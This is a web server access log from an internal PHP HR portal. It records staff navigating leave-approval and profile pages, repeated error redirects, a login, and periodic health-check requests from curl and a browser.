192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:19 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.40.44 - - [03/Sep/2025:13:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.40.44 - - [03/Sep/2025:13:02:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA001&appdesc=%E5%9F%BA%E6%9C%AC%E8%B5%84%E6%96%99 HTTP/1.1" 200 10318 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.44 - - [03/Sep/2025:13:02:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA001&appdesc=%E5%9F%BA%E6%9C%AC%E8%B5%84%E6%96%99 HTTP/1.1" 200 10318
100.64.0.1 - - [03/Sep/2025:13:03:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:03:24 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:07:43 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:07:43 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:08:42 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:08:42 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:09:57 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:09:57 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:11:33 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:13:11:33 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:13:16:24 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:16:24 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:18:21 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:18:21 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:21:59 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:21:59 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:29:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:13:29:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:13:32:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:13:32:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:13:32:20 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [03/Sep/2025:13:32:20 +0800] "\x03" 501 203
100.64.0.1 - - [03/Sep/2025:13:33:51 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:33:51 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:34:41 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:34:41 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:36:21 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:36:21 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:36:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:13:36:32 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:13:37:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:13:37:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:37:37 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:13:37:37 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:13:38:10 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:13:38:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.182.95 - - [03/Sep/2025:13:40:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.182.95 - - [03/Sep/2025:13:40:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.182.95 - - [03/Sep/2025:13:40:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:40:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.182.95 - - [03/Sep/2025:13:40:37 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10609
192.168.182.95 - - [03/Sep/2025:13:40:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.182.95 - - [03/Sep/2025:13:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 14447
192.168.182.95 - - [03/Sep/2025:13:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 14447 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [03/Sep/2025:13:40:58 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 4645 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
